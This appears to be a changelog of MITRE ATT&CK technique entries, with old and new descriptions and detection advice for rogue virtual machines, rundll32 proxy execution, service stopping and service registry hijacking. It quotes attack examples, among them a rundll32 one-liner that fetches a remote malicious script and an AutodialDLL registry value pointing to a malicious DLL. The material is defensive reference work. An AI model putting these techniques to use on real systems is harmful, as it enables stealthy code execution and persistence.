| description | Adversaries may carry out malicious operations using a virtual instance to avoid detection. A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance.(Citation: CyberCX Akira Ransomware) Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.(Citation: SingHealth Breach Jan 2019) + +Adversaries may utilize native support for virtualization (ex: Hyper-V) or drop the necessary files to run a virtual instance (ex: VirtualBox binaries). After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.(Citation: Sophos Ragnar May 2020) + +In VMWare environments, adversaries may leverage the vCenter console to create new virtual machines. However, they may also create virtual machines directly on ESXi servers by running a valid `.vmx` file with the `/bin/vmx` utility. Adding this command to `/etc/rc.local.d/local.sh` (i.e., [RC Scripts](https://attack.mitre.org/techniques/T1037/004)) will cause the VM to persistently restart.(Citation: vNinja Rogue VMs 2024) Creating a VM this way prevents it from appearing in the vCenter console or in the output to the `vim-cmd vmsvc/getallvms` command on the ESXi server, thereby hiding it from typical administrative activities.(Citation: MITRE VMware Abuse 2024) | Adversaries may carry out malicious operations using a virtual instance to avoid detection. A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance.(Citation: CyberCX Akira Ransomware) Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.(Citation: SingHealth Breach Jan 2019)
+
+Adversaries may utilize native support for virtualization (ex: Hyper-V), deploy lightweight emulators (ex: QEMU), or drop the necessary files to run a virtual instance (ex: VirtualBox binaries).(Citation: Securonix CronTrap 2024) After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.(Citation: Sophos Ragnar May 2020)
+
+Threat actors may also leverage temporary virtualized environments such as the Windows Sandbox, which supports the use of `.wsb` configuration files for defining execution parameters. For example, the ` |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | Consider monitoring for files and processes associated with running a virtual instance, such as binary files associated with common virtualization technologies (ex: VirtualBox, VMware, QEMU, Hyper-V). Consider monitoring the size of virtual machines running on the system. Adversaries may create virtual images which are smaller than those of typical virtual machines.(Citation: Shadowbunny VM Defense Evasion) Network adapter information may also be helpful in detecting the use of virtual instances.
+
+Consider monitoring for process command-line arguments that may be atypical for benign use of virtualization software. Usage of virtualization binaries or command-line arguments associated with running a silent installation may be especially suspect (ex. -silent, -ignore-reboot), as well as those associated with running a headless (in the background with no UI) virtual instance (ex. VBoxManage startvm $VM --type headless).(Citation: Shadowbunny VM Defense Evasion) Similarly, monitoring command line arguments which suppress notifications may highlight potentially malicious activity (ex. VBoxManage.exe setextradata global GUI/SuppressMessages "all").
+
+Monitor for commands which enable hypervisors such as Hyper-V. If virtualization software is installed by the adversary, the Registry may provide detection opportunities. Consider monitoring for [Windows Service](https://attack.mitre.org/techniques/T1543/003), with respect to virtualization software.
+
+Benign usage of virtualization technology is common in enterprise environments, data and events should not be viewed in isolation, but as part of a chain of behavior. | |
| x_mitre_version | 1.2 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ESET MirrorFace 2025', 'description': ' Dominik Breitenbacher. (2025, March 18). Operation AkaiRyū: MirrorFace invites Europe to Expo 2025 and revives ANEL backdoor. Retrieved May 22, 2025.', 'url': 'https://www.welivesecurity.com/en/eset-research/operation-akairyu-mirrorface-invites-europe-expo-2025-revives-anel-backdoor/'} | |
| external_references | {'source_name': 'Securonix CronTrap 2024', 'description': 'Den Iuzvyk and Tim Peck. (2024, November 4). CRON#TRAP: Emulated Linux Environments as the Latest Tactic in Malware Staging. Retrieved May 22, 2025.', 'url': 'https://www.securonix.com/blog/crontrap-emulated-linux-environments-as-the-latest-tactic-in-malware-staging/'} | |
| x_mitre_contributors | Enis Aksu | |
| x_mitre_contributors | Satoshi Kamekawa, ITOCHU Cyber & Intelligence Inc. | |
| x_mitre_contributors | Yusuke Niwa, ITOCHU Cyber & Intelligence Inc. | |
| x_mitre_contributors | Shuhei Sasada, ITOCHU Cyber & Intelligence Inc. | |
| x_mitre_contributors | Jiraput Thamsongkrah | |
| x_mitre_contributors | Purinut Wongwaiwuttiguldej | |
| x_mitre_contributors | Natthawut Saexu |
Current version: 2.5
Version changed from: 2.4 → 2.5
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse rundll32.exe to proxy execution of mal | t | 1 | Adversaries may abuse rundll32.exe to proxy execution of mal |
| > | icious code. Using rundll32.exe, vice executing directly (i. | > | icious code. Using rundll32.exe, vice executing directly (i. | ||
| > | e. [Shared Modules](https://attack.mitre.org/techniques/T112 | > | e. [Shared Modules](https://attack.mitre.org/techniques/T112 | ||
| > | 9)), may avoid triggering security tools that may not monito | > | 9)), may avoid triggering security tools that may not monito | ||
| > | r execution of the rundll32.exe process because of allowlist | > | r execution of the rundll32.exe process because of allowlist | ||
| > | s or false positives from normal operations. Rundll32.exe is | > | s or false positives from normal operations. Rundll32.exe is | ||
| > | commonly associated with executing DLL payloads (ex: <code> | > | commonly associated with executing DLL payloads (ex: <code> | ||
| > | rundll32.exe {DLLname, DLLfunction}</code>). Rundll32.exe c | > | rundll32.exe {DLLname, DLLfunction}</code>). Rundll32.exe c | ||
| > | an also be used to execute [Control Panel](https://attack.mi | > | an also be used to execute [Control Panel](https://attack.mi | ||
| > | tre.org/techniques/T1218/002) Item files (.cpl) through the | > | tre.org/techniques/T1218/002) Item files (.cpl) through the | ||
| > | undocumented shell32.dll functions <code>Control_RunDLL</cod | > | undocumented shell32.dll functions <code>Control_RunDLL</cod | ||
| > | e> and <code>Control_RunDLLAsUser</code>. Double-clicking a | > | e> and <code>Control_RunDLLAsUser</code>. Double-clicking a | ||
| > | .cpl file also causes rundll32.exe to execute.(Citation: Tre | > | .cpl file also causes rundll32.exe to execute.(Citation: Tre | ||
| > | nd Micro CPL) For example, [ClickOnce](https://attack.mitre. | > | nd Micro CPL) For example, [ClickOnce](https://attack.mitre. | ||
| > | org/techniques/T1127/002) can be proxied through Rundll32.ex | > | org/techniques/T1127/002) can be proxied through Rundll32.ex | ||
| > | e. Rundll32 can also be used to execute scripts such as Jav | > | e. Rundll32 can also be used to execute scripts such as Jav | ||
| > | aScript. This can be done using a syntax similar to this: <c | > | aScript. This can be done using a syntax similar to this: <c | ||
| > | ode>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication " | > | ode>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication " | ||
| > | ;document.write();GetObject("script:https[:]//www[.]example[ | > | ;document.write();GetObject("script:https[:]//www[.]example[ | ||
| > | .]com/malicious.sct")"</code> This behavior has been seen u | > | .]com/malicious.sct")"</code> This behavior has been seen u | ||
| > | sed by malware such as Poweliks. (Citation: This is Security | > | sed by malware such as Poweliks.(Citation: This is Security | ||
| > | Command Line Confusion) Adversaries may also attempt to ob | > | Command Line Confusion) Threat actors may also abuse legiti | ||
| > | scure malicious code from analysis by abusing the manner in | > | mate, signed system DLLs (e.g., <code>zipfldr.dll, ieframe.d | ||
| > | which rundll32.exe loads DLL function names. As part of Wind | > | ll</code>) with <code>rundll32.exe</code> to execute malicio | ||
| > | ows compatibility support for various character sets, rundll | > | us programs or scripts indirectly, making their activity app | ||
| > | 32.exe will first check for wide/Unicode then ANSI character | > | ear more legitimate and evading detection.(Citation: lolbas | ||
| > | -supported functions before loading the specified function ( | > | project Zipfldr.dll)(Citation: lolbas project Ieframe.dll) | ||
| > | e.g., given the command <code>rundll32.exe ExampleDLL.dll, E | > | Adversaries may also attempt to obscure malicious code from | ||
| > | xampleFunction</code>, rundll32.exe would first attempt to e | > | analysis by abusing the manner in which rundll32.exe loads D | ||
| > | xecute <code>ExampleFunctionW</code>, or failing that <code> | > | LL function names. As part of Windows compatibility support | ||
| > | ExampleFunctionA</code>, before loading <code>ExampleFunctio | > | for various character sets, rundll32.exe will first check fo | ||
| > | n</code>). Adversaries may therefore obscure malicious code | > | r wide/Unicode then ANSI character-supported functions befor | ||
| > | by creating multiple identical exported function names and a | > | e loading the specified function (e.g., given the command <c | ||
| > | ppending <code>W</code> and/or <code>A</code> to harmless on | > | ode>rundll32.exe ExampleDLL.dll, ExampleFunction</code>, run | ||
| > | es.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Gi | > | dll32.exe would first attempt to execute <code>ExampleFuncti | ||
| > | thub NoRunDll) DLL functions can also be exported and execut | > | onW</code>, or failing that <code>ExampleFunctionA</code>, b | ||
| > | ed by an ordinal number (ex: <code>rundll32.exe file.dll,#1< | > | efore loading <code>ExampleFunction</code>). Adversaries may | ||
| > | /code>). Additionally, adversaries may use [Masquerading](h | > | therefore obscure malicious code by creating multiple ident | ||
| > | ttps://attack.mitre.org/techniques/T1036) techniques (such a | > | ical exported function names and appending <code>W</code> an | ||
| > | s changing DLL file names, file extensions, or function name | > | d/or <code>A</code> to harmless ones.(Citation: Attackify Ru | ||
| > | s) to further conceal execution of a malicious payload.(Cita | > | ndll32.exe Obscurity)(Citation: Github NoRunDll) DLL functio | ||
| > | tion: rundll32.exe defense evasion) | > | ns can also be exported and executed by an ordinal number (e | ||
| > | x: <code>rundll32.exe file.dll,#1</code>). Additionally, ad | ||||
| > | versaries may use [Masquerading](https://attack.mitre.org/te | ||||
| > | chniques/T1036) techniques (such as changing DLL file names, | ||||
| > | file extensions, or function names) to further conceal exec | ||||
| > | ution of a malicious payload.(Citation: rundll32.exe defense | ||||
| > | evasion) | ||||
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Command: Command Execution', 'File: File Metadata', 'Module: Module Load'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:02.470000+00:00 | 2025-10-24 17:48:20.567000+00:00 |
| description | Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).
+
+Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute.(Citation: Trend Micro CPL) For example, [ClickOnce](https://attack.mitre.org/techniques/T1127/002) can be proxied through Rundll32.exe.
+
+Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)
+
+Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).
+
+Additionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion) | Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).
+
+Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute.(Citation: Trend Micro CPL) For example, [ClickOnce](https://attack.mitre.org/techniques/T1127/002) can be proxied through Rundll32.exe.
+
+Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks.(Citation: This is Security Command Line Confusion)
+
+Threat actors may also abuse legitimate, signed system DLLs (e.g., zipfldr.dll, ieframe.dll) with rundll32.exe to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection.(Citation: lolbas project Zipfldr.dll)(Citation: lolbas project Ieframe.dll)
+
+Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).
+
+Additionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion) |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. + +Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. Analyzing DLL exports and comparing to runtime arguments may be useful in uncovering obfuscated function calls. | |
| x_mitre_version | 2.4 | 2.5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'lolbas project Ieframe.dll', 'description': 'lolbas project. (n.d.). Ieframe.dll. Retrieved October 5, 2025.', 'url': 'https://lolbas-project.github.io/lolbas/Libraries/Ieframe/'} | |
| external_references | {'source_name': 'lolbas project Zipfldr.dll', 'description': 'lolbas project. (n.d.). Zipfldr.dll. Retrieved October 5, 2025.', 'url': 'https://lolbas-project.github.io/lolbas/Libraries/Zipfldr/'} | |
| x_mitre_contributors | Amir Hossein Vafifar |
Current version: 1.8
Version changed from: 1.7 → 1.8
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_remote_support | False |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Windows Registry: Windows Registry Key Creation', 'File: File Modification', 'File: File Creation', 'Process: Process Creation', 'Command: Command Execution', 'Network Traffic: Network Traffic Flow', 'Scheduled Job: Scheduled Job Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:01.010000+00:00 | 2025-10-24 17:48:19.176000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.
+
+Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)
+
+* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered
+* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated
+* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted
+* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created
+* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled
+* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled
+
+Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)
+
+Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data. | |
| x_mitre_version | 1.7 | 1.8 |
Current version: 1.4
Version changed from: 1.3 → 1.4
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may stop or disable services on a system to rend | t | 1 | Adversaries may stop or disable services on a system to rend |
| > | er those services unavailable to legitimate users. Stopping | > | er those services unavailable to legitimate users. Stopping | ||
| > | critical services or processes can inhibit or stop response | > | critical services or processes can inhibit or stop response | ||
| > | to an incident or aid in the adversary's overall objectives | > | to an incident or aid in the adversary's overall objectives | ||
| > | to cause damage to the environment.(Citation: Talos Olympic | > | to cause damage to the environment.(Citation: Talos Olympic | ||
| > | Destroyer 2018)(Citation: Novetta Blockbuster) Adversaries | > | Destroyer 2018)(Citation: Novetta Blockbuster) Adversaries | ||
| > | may accomplish this by disabling individual services of hig | > | may accomplish this by disabling individual services of hig | ||
| > | h importance to an organization, such as <code>MSExchangeIS< | > | h importance to an organization, such as <code>MSExchangeIS< | ||
| > | /code>, which will make Exchange content inaccessible.(Citat | > | /code>, which will make Exchange content inaccessible.(Citat | ||
| > | ion: Novetta Blockbuster) In some cases, adversaries may sto | > | ion: Novetta Blockbuster) In some cases, adversaries may sto | ||
| > | p or disable many or all services to render systems unusable | > | p or disable many or all services to render systems unusable | ||
| > | .(Citation: Talos Olympic Destroyer 2018) Services or proces | > | .(Citation: Talos Olympic Destroyer 2018) Services or proces | ||
| > | ses may not allow for modification of their data stores whil | > | ses may not allow for modification of their data stores whil | ||
| > | e running. Adversaries may stop services or processes in ord | > | e running. Adversaries may stop services or processes in ord | ||
| > | er to conduct [Data Destruction](https://attack.mitre.org/te | > | er to conduct [Data Destruction](https://attack.mitre.org/te | ||
| > | chniques/T1485) or [Data Encrypted for Impact](https://attac | > | chniques/T1485) or [Data Encrypted for Impact](https://attac | ||
| > | k.mitre.org/techniques/T1486) on the data stores of services | > | k.mitre.org/techniques/T1486) on the data stores of services | ||
| > | like Exchange and SQL Server, or on virtual machines hosted | > | like Exchange and SQL Server, or on virtual machines hosted | ||
| > | on ESXi infrastructure.(Citation: SecureWorks WannaCry Anal | > | on ESXi infrastructure.(Citation: SecureWorks WannaCry Anal | ||
| > | ysis)(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021 | > | ysis)(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021 | ||
| > | ) | > | ) Threat actors may also disable or stop service in cloud e | ||
| > | nvironments. For example, by leveraging the `DisableAPIServi | ||||
| > | ceAccess` API in AWS, a threat actor may prevent the service | ||||
| > | from creating service-linked roles on new accounts in the A | ||||
| > | WS Organization.(Citation: Datadog Security Labs Cloud Persi | ||||
| > | stence 2025)(Citation: AWS DisableAWSServiceAccess) | ||||
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Liran Ravich, CardinalOps'] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Process: Process Termination', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'File: File Modification', 'Process: OS API Execution', 'Service: Service Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:12.942000+00:00 | 2025-10-24 17:48:30.688000+00:00 |
| description | Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster)
+
+Adversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible.(Citation: Novetta Blockbuster) In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server, or on virtual machines hosted on ESXi infrastructure.(Citation: SecureWorks WannaCry Analysis)(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021) | Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster)
+
+Adversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible.(Citation: Novetta Blockbuster) In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server, or on virtual machines hosted on ESXi infrastructure.(Citation: SecureWorks WannaCry Analysis)(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)
+
+Threat actors may also disable or stop service in cloud environments. For example, by leveraging the `DisableAPIServiceAccess` API in AWS, a threat actor may prevent the service from creating service-linked roles on new accounts in the AWS Organization.(Citation: Datadog Security Labs Cloud Persistence 2025)(Citation: AWS DisableAWSServiceAccess) |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | Monitor processes and command-line arguments to see if critical processes are terminated or stop running.
+
+Monitor for edits for modifications to services and startup programs that correspond to services of high importance. Look for changes to services that do not correlate with known software, patch cycles, etc. Windows service information is stored in the Registry at HKLM\SYSTEM\CurrentControlSet\Services. Systemd service unit files are stored within the /etc/systemd/system, /usr/lib/systemd/system/, and /home/.config/systemd/user/ directories, as well as associated symbolic links.
+
+Alterations to the service binary path or the service startup type changed to disabled may be suspicious.
+
+Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. For example, ChangeServiceConfigW may be used by an adversary to prevent services from starting.(Citation: Talos Olympic Destroyer 2018) | |
| x_mitre_version | 1.3 | 1.4 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'AWS DisableAWSServiceAccess', 'description': 'AWS. (n.d.). DisableAWSServiceAccess. Retrieved May 22, 2025.', 'url': 'https://docs.aws.amazon.com/organizations/latest/APIReference/API_DisableAWSServiceAccess.html'} | |
| external_references | {'source_name': 'Datadog Security Labs Cloud Persistence 2025', 'description': 'Martin McCloskey. (2025, May 13). Tales from the cloud trenches: The Attacker doth persist too much, methinks. Retrieved May 22, 2025.', 'url': 'https://securitylabs.datadoghq.com/articles/tales-from-the-cloud-trenches-the-attacker-doth-persist-too-much/'} | |
| x_mitre_platforms | IaaS |
Current version: 1.3
Version changed from: 1.2 → 1.3
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may execute their own malicious payloads by hija | t | 1 | Adversaries may execute their own malicious payloads by hija |
| > | cking the Registry entries used by services. Adversaries may | > | cking the Registry entries used by services. Flaws in the pe | ||
| > | use flaws in the permissions for Registry keys related to s | > | rmissions for Registry keys related to services can allow ad | ||
| > | ervices to redirect from the originally specified executable | > | versaries to redirect the originally specified executable to | ||
| > | to one that they control, in order to launch their own code | > | one they control, launching their own code when a service s | ||
| > | when a service starts. Windows stores local service configu | > | tarts. Windows stores local service configuration informatio | ||
| > | ration information in the Registry under <code>HKLM\SYSTEM\C | > | n in the Registry under <code>HKLM\SYSTEM\CurrentControlSet\ | ||
| > | urrentControlSet\Services</code>. The information stored und | > | Services</code>. The information stored under a service's Re | ||
| > | er a service's Registry keys can be manipulated to modify a | > | gistry keys can be manipulated to modify a service's executi | ||
| > | service's execution parameters through tools such as the ser | > | on parameters through tools such as the service controller, | ||
| > | vice controller, sc.exe, [PowerShell](https://attack.mitre. | > | sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1 | ||
| > | org/techniques/T1059/001), or [Reg](https://attack.mitre.org | > | 059/001), or [Reg](https://attack.mitre.org/software/S0075). | ||
| > | /software/S0075). Access to Registry keys is controlled thro | > | Access to Registry keys is controlled through access contro | ||
| > | ugh access control lists and user permissions. (Citation: Re | > | l lists and user permissions. (Citation: Registry Key Securi | ||
| > | gistry Key Security)(Citation: malware_hides_service) If th | > | ty)(Citation: malware_hides_service) If the permissions for | ||
| > | e permissions for users and groups are not properly set and | > | users and groups are not properly set and allow access to t | ||
| > | allow access to the Registry keys for a service, adversaries | > | he Registry keys for a service, adversaries may change the s | ||
| > | may change the service's binPath/ImagePath to point to a di | > | ervice's binPath/ImagePath to point to a different executabl | ||
| > | fferent executable under their control. When the service sta | > | e under their control. When the service starts or is restart | ||
| > | rts or is restarted, then the adversary-controlled program w | > | ed, the adversary-controlled program will execute, allowing | ||
| > | ill execute, allowing the adversary to establish persistence | > | the adversary to establish persistence and/or privilege esca | ||
| > | and/or privilege escalation to the account context the serv | > | lation to the account context the service is set to execute | ||
| > | ice is set to execute under (local/domain account, SYSTEM, L | > | under (local/domain account, SYSTEM, LocalService, or Networ | ||
| > | ocalService, or NetworkService). Adversaries may also alter | > | kService). Adversaries may also alter other Registry keys i | ||
| > | other Registry keys in the service’s Registry tree. For exa | > | n the service’s Registry tree. For example, the <code>Failur | ||
| > | mple, the <code>FailureCommand</code> key may be changed so | > | eCommand</code> key may be changed so that the service is ex | ||
| > | that the service is executed in an elevated context anytime | > | ecuted in an elevated context anytime the service fails or i | ||
| > | the service fails or is intentionally corrupted.(Citation: K | > | s intentionally corrupted.(Citation: Kansa Service related c | ||
| > | ansa Service related collectors)(Citation: Tweet Registry Pe | > | ollectors)(Citation: Tweet Registry Perms Weakness) The <co | ||
| > | rms Weakness) The <code>Performance</code> key contains the | > | de>Performance</code> key contains the name of a driver serv | ||
| > | name of a driver service's performance DLL and the names of | > | ice's performance DLL and the names of several exported func | ||
| > | several exported functions in the DLL.(Citation: microsoft_ | > | tions in the DLL.(Citation: microsoft_services_registry_tree | ||
| > | services_registry_tree) If the <code>Performance</code> key | > | ) If the <code>Performance</code> key is not already present | ||
| > | is not already present and if an adversary-controlled user h | > | and if an adversary-controlled user has the <code>Create Su | ||
| > | as the <code>Create Subkey</code> permission, adversaries ma | > | bkey</code> permission, adversaries may create the <code>Per | ||
| > | y create the <code>Performance</code> key in the service’s R | > | formance</code> key in the service’s Registry tree to point | ||
| > | egistry tree to point to a malicious DLL.(Citation: insecure | > | to a malicious DLL.(Citation: insecure_reg_perms) Adversari | ||
| > | _reg_perms) Adversaries may also add the <code>Parameters</ | > | es may also add the <code>Parameters</code> key, which can r | ||
| > | code> key, which stores driver-specific data, or other custo | > | eference malicious drivers file paths. This technique has be | ||
| > | m subkeys for their malicious services to establish persiste | > | en identified to be a method of abuse by configuring DLL fil | ||
| > | nce or enable other malicious activities.(Citation: microsof | > | e paths within the <code>Parameters</code> key of a given se | ||
| > | t_services_registry_tree)(Citation: troj_zegost) Additionall | > | rvices registry configuration. By placing and configuring th | ||
| > | y, If adversaries launch their malicious services using svch | > | e <code>Parameters</code> key to reference a malicious DLL, | ||
| > | ost.exe, the service’s file may be identified using <code>HK | > | adversaries can ensure that their code is loaded persistentl | ||
| > | EY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\servicena | > | y whenever the associated service or library is invoked. Fo | ||
| > | me\Parameters\ServiceDll</code>.(Citation: malware_hides_ser | > | r example, the registry path(Citation: MDSec) <code>HKEY_LOC | ||
| > | vice) | > | AL_MACHINE\SYSTEM\CurrentControlSet\Services\WinSock2\Parame | ||
| > | ters</code>(Citation: hexacorn)(Citation: gendigital) contai | ||||
| > | ns the <code>AutodiaDLL</code> value, which specifies the DL | ||||
| > | L to be loaded for autodial funcitionality. An adversary cou | ||||
| > | ld set the <code>AutodiaDLL</code> to point to a hijacked or | ||||
| > | malicious DLL: <code>"AutodialDLL"="c:\temp\foo.dll"</code | ||||
| > | > This ensures persistence, as it causes the DLL (in this c | ||||
| > | ase, foo.dll) to be loaded each time the Winsock 2 library i | ||||
| > | s invoked. | ||||
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Windows Registry: Windows Registry Key Modification', 'Service: Service Modification', 'Command: Command Execution', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:09.308000+00:00 | 2025-10-24 17:48:27.075000+00:00 |
